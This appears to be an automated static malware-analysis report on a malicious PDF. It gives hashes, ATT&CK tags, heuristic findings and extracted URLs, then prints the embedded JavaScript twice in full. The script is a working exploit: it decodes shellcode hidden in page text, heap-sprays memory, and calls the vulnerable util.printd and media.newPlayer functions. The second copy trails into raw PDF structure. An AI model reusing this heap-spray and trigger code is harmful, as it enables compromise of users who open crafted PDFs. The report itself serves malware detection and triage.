Malicious PDF — malware analysis report

Static analysis result for SHA-256 15e51707cef1f771…

MALICIOUS

PDF

1.24 MB Created: 2010-07-28 14:41:48 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2026-05-10
MD5: 15f2727a370e097e9e106df96941f46e SHA-1: 36ade6ea968b609c600e10db2dfc441cecbf0af9 SHA-256: 15e51707cef1f77112eb9a968794d3b74542df32d6b39cf21fc9bfc66c77dc68
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is heavily obfuscated and utilizes the String.fromCharCode method. This script is designed to exploit a known PDF vulnerability, likely to download and execute a secondary payload. The ML classifier strongly indicates maliciousness, and the presence of exploit-related heuristics confirms the exploitation attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9901

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
       var b = (os(arr, s[i+5].toUpperCase(), 0)) + ( os(arr, s[i+4].toUpperCase(), 0)<<4 );
   ot += String.fromCharCode(a*256+b);
  }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBAE 2262 bytes
SHA-256: 85a21bf6e2f8e4103932542822e6a255f98ae0b95ef20c276bd108e82a5e5887
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function os(haystack, needle, offset) {
    var i = (haystack+'').indexOf(needle, (offset || 0));
    return i == -1 ? false : i;
}

function educ(s) {
	var ot = "";
	var nz = "";

	var arr = '0123456789ABCDEF';
	
	for (var i=0; i<s.length; i+=6) 
	{
		if (s[i] == "%" && s[i+1] == "u") {
			var a = (os(arr, s[i+3].toUpperCase(), 0)) + ( os(arr, s[i+2].toUpperCase(), 0)<<4 );
			var b = (os(arr, s[i+5].toUpperCase(), 0)) + ( os(arr, s[i+4].toUpperCase(), 0)<<4 );			
			ot += String.fromCharCode(a*256+b);
		}
	}
	return ot;
}



function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var shell = '';
var shell_1 = '';
var shell_2 = '';
var u_shell = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ shell_1 = shell_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_1 = shell_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ shell_2 = shell_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_2 = shell_2 + text[pos]; pos+=1; }
	
	u_shell = '%u'+shell_2+shell_1;
	shell_1 = '';
	shell_2 = '';
	shell += u_shell;
 }
 k++;
 if (k>3) k = 1;
}

var Wo = educ(shell);
var yR = educ(String.fromCharCode(37,117,51,55,50,55,37,117,50,55,102,53));

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
javascript_obj0055_002.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBD1 3755 bytes
SHA-256: d4939500e8737e4a51b1d7396c54630d7637a5fb4cb3e4d049a67b1f2165bcce
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function os(haystack, needle, offset) {
    var i = (haystack+'').indexOf(needle, (offset || 0));
    return i == -1 ? false : i;
}

function educ(s) {
	var ot = "";
	var nz = "";

	var arr = '0123456789ABCDEF';
	
	for (var i=0; i<s.length; i+=6) 
	{
		if (s[i] == "%" && s[i+1] == "u") {
			var a = (os(arr, s[i+3].toUpperCase(), 0)) + ( os(arr, s[i+2].toUpperCase(), 0)<<4 );
			var b = (os(arr, s[i+5].toUpperCase(), 0)) + ( os(arr, s[i+4].toUpperCase(), 0)<<4 );			
			ot += String.fromCharCode(a*256+b);
		}
	}
	return ot;
}



function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var shell = '';
var shell_1 = '';
var shell_2 = '';
var u_shell = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ shell_1 = shell_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_1 = shell_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ shell_2 = shell_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_2 = shell_2 + text[pos]; pos+=1; }
	
	u_shell = '%u'+shell_2+shell_1;
	shell_1 = '';
	shell_2 = '';
	shell += u_shell;
 }
 k++;
 if (k>3) k = 1;
}

var Wo = educ(shell);
var yR = educ(String.fromCharCode(37,117,51,55,50,55,37,117,50,55,102,53));

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f 
0000000015 00000 n 
0000000266 00000 n 
0001301237 00000 n 
0001301283 00000 n 
0001301367 00000 n 
0001301388 00000 n 
0001303838 00000 n 
0001303878 00000 n 
0000000467 00000 n 
0000001848 00000 n 
0000411199 00000 n 
0000411422 00000 n 
0000412403 00000 n 
0000414242 00000 n 
0000417312 00000 n 
0000417507 00000 n 
0000418497 00000 n 
0000420636 00000 n 
0000423742 00000 n 
0000423937 00000 n 
0000424927 00000 n 
0000427257 00000 n 
0000430375 00000 n 
0000430570 00000 n 
0000431409 00000 n 
0000433138 00000 n 
0000435390 00000 n 
0000435585 00000 n 
0000436377 00000 n 
0000437824 00000 n 
0000439728 00000 n 
0000439923 00000 n 
0000440749 00000 n 
0000443111 00000 n 
0000445771 00000 n 
0000445966 00000 n 
0000446744 00000 n 
0000448072 00000 n 
0000449904 00000 n 
0000450099 00000 n 
0000450456 00000 n 
0000451125 00000 n 
0000452259 00000 n 
0000452454 00000 n 
0000453370 00000 n 
0000454829 00000 n 
0000961731 00000 n 
0000962195 00000 n 
0000962249 00000 n 
0000962409 00000 n 
0000962560 00000 n 
0001300754 00000 n 
0001300808 00000 n 
0001300987 00000 n 
0001301422 00000 n 
0001303737 00000 n 
0001303785 00000 n 
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<D35E8DF8DB7F75898887DCCF25ADE725><D35E8DF8DB7F75898887DCCF25ADE725>]
>>
startxref
1303896
%%EOF
font_00_sfnt_off0000076d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x76D 409280 bytes
SHA-256: fcb479a00bdf7c05a68b91ba89a8ea3dd2be027dcca112f1f26270c081dc3502

Open this report in the interactive analyzer, or submit your own file for analysis.